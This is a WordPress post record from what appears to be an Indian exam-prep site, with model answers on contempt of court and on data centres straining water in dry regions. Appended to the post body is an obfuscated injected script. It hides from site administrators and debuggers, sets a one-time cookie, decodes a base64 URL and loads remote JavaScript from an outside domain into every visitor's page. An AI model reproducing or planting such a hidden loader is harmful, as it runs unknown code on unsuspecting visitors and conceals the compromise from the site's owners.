{"id":2708,"date":"2025-11-06T13:28:52","date_gmt":"2025-11-06T13:28:52","guid":{"rendered":"https:\/\/iasquest.com\/?p=2708"},"modified":"2026-02-11T18:48:44","modified_gmt":"2026-02-11T18:48:44","slug":"contempt-of-court-data-centres-and-water-scarcity-in-india","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/contempt-of-court-data-centres-and-water-scarcity-in-india\/","title":{"rendered":"Contempt of Court &#038; Data centres and water scarcity in India"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#ff0000\"><strong>1. Define contempt of court and explain its significance in a democratic society. Examine the constraints on the exercise of contempt powers by courts in India.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II : Structure, Organization and Functioning of the Executive and the Judiciary<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> What constitutes as contempt of court in India?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">Contempt of court is the willful disobedience of court orders or actions that scandalize or obstruct the judiciary, thereby undermining its authority. In India, it is codified under the Contempt of Courts Act, 1971, and the Constitution empowers the Supreme Court (Article 129) and High Courts (Article 215) to punish contempt. Its primary purpose is to protect the dignity, authority, and independence of the judiciary, which is essential for the rule of law in a democracy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Significance of contempt of Court:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-5\">\n<li><strong>Ensures compliance with court orders: <\/strong>Without contempt powers, judicial orders could be ignored, weakening the justice system.<\/li>\n\n\n\n<li><strong>Maintains judicial authority: <\/strong>Courts must be respected as impartial arbiters to uphold public confidence in the rule of law.<\/li>\n\n\n\n<li><strong>Prevents obstruction of justice: <\/strong>Contempt powers deter actions that interfere with fair administration of justice, such as scandalizing judges or influencing proceedings.<\/li>\n\n\n\n<li><strong>Safeguards democratic governance:<\/strong> An independent judiciary is a pillar of democracy; contempt laws protect it from undue interference.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Limitations on contempt powers in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-7\">\n<li><strong>Freedom of Speech: <\/strong>Powers cannot be used to suppress legitimate criticism; courts must respect Article 19(1)(a).<\/li>\n\n\n\n<li><strong>Fair criticism exemption: <\/strong>Arundhati Roy v. Union of India (2002) clarified that reasonable criticism of the judiciary is not contempt.<\/li>\n\n\n\n<li><strong>Judicial restraint:<\/strong> Contempt proceedings should not be used as a tool for punishing political opponents or dissenters.<\/li>\n\n\n\n<li><strong>No retrospective effect:<\/strong> Contempt cannot be claimed for statements made in good faith before the law was applied.<\/li>\n\n\n\n<li><strong>Procedural safeguards: <\/strong>Individuals must have the opportunity to be heard before punishment is imposed.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">Contempt of court is a necessary safeguard for judicial authority and public confidence in a democracy. However, it is not absolute and must be exercised with restraint, fairness, and respect for freedom of speech. Balancing judicial dignity with citizens\u2019 right to critique is essential for a mature, democratic society.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (2023)<\/strong> <br><strong>Q. \u201cConstitutionally guaranteed judicial independence is a prerequisite of democracy.\u2019\u2019 Comment.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/what-constitutes-as-contempt-of-court-in-india-explained\/article70245733.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/what-constitutes-as-contempt-of-court-in-india-explained\/article70245733.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-10 wp-block-paragraph\" style=\"color:#ff0000\"><a><\/a><strong>2. Critically examine the environmental impacts of building and operating AI\u2011ready data centres in water\u2011scarce regions of India.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III : Environmental Pollution and Degradation<\/strong> <strong>Science and Technology- Developments and their Applications and Effects in Everyday Life<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>IN NEWS:<\/strong> India\u2019s digital thirst: Data centres are rising in water-scarce regions \u2014 and locals are paying the price<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">The rapid expansion of AI\u2011ready data centres in India supports cloud computing, artificial intelligence, and the digital economy. However, many centres are located in water-stressed regions, creating environmental concerns. These facilities require large amounts of water for cooling and consume substantial energy, potentially affecting local ecosystems and communities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Environmental Impacts:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>High water consumption:<\/strong> Cooling servers and maintaining data centre operations demand millions of litres of water annually, creating competition with domestic and agricultural needs.<\/li>\n\n\n\n<li><strong>Groundwater depletion and surface water stress:<\/strong> Excessive water withdrawal can lower aquifer levels and reduce river flows, affecting biodiversity and local livelihoods.<\/li>\n\n\n\n<li><strong>Energy-water nexus:<\/strong> High electricity usage, often from coal-based grids, indirectly increases water footprint and carbon emissions.<\/li>\n\n\n\n<li><strong>Ecosystem disruption: <\/strong>Thermal discharge, reduced water availability, and industrial activity can harm wetlands, lakes, and aquatic species.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Critical Concerns:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li><strong>Sustainability vs growth:<\/strong> While digital infrastructure drives economic growth, unchecked expansion in water-scarce regions threatens ecological and social sustainability.<\/li>\n\n\n\n<li><strong>Equity issues:<\/strong> Local populations may face reduced access to water resources.<\/li>\n\n\n\n<li><strong>Regulatory gaps: <\/strong>Inconsistent policies and lack of mandatory reporting on water use exacerbate the risks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Way Forward:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>Encourage water-efficient cooling technologies and reuse of treated water.<\/li>\n\n\n\n<li>Locate new centres in water-abundant regions.<\/li>\n\n\n\n<li>Strengthen regulation, monitoring, and transparency of water consumption.<\/li>\n\n\n\n<li>Integrate data centre planning with local water management strategies.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">AI\u2011ready data centres are vital for India\u2019s digital growth, but their environmental footprint, particularly on water resources, must be carefully managed. Sustainable planning, technological innovation, and robust governance are essential to balance digital ambitions with ecological security.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (2025)<\/strong> <br><strong>Q. Examine the factors responsible for depleting groundwater in India. What are the steps taken by the government to mitigate such depletion of groundwater?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/science-technology\/indias-digital-thirst-data-centres-are-rising-in-water-scarce-regions-and-locals-are-paying-the-price\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/science-technology\/indias-digital-thirst-data-centres-are-rising-in-water-scarce-regions-and-locals-are-paying-the-price<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Define contempt of court and explain its significance in a democratic society. Examine the constraints on the exercise of [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1415,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[118,68,39,97,25,26,61,12,9,117],"tags":[],"class_list":["post-2708","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contempt-of-court","category-daily-current-affairs","category-daws","category-environmental-pollution-and-degradation","category-gs-2","category-gs-3","category-judiciary","category-mains","category-nanoscience","category-structure-organization-and-functioning-of-the-executive-and-the-judiciary"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2708","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2708"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2708\/revisions"}],"predecessor-version":[{"id":2950,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2708\/revisions\/2950"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1415"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2708"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2708"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2708"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}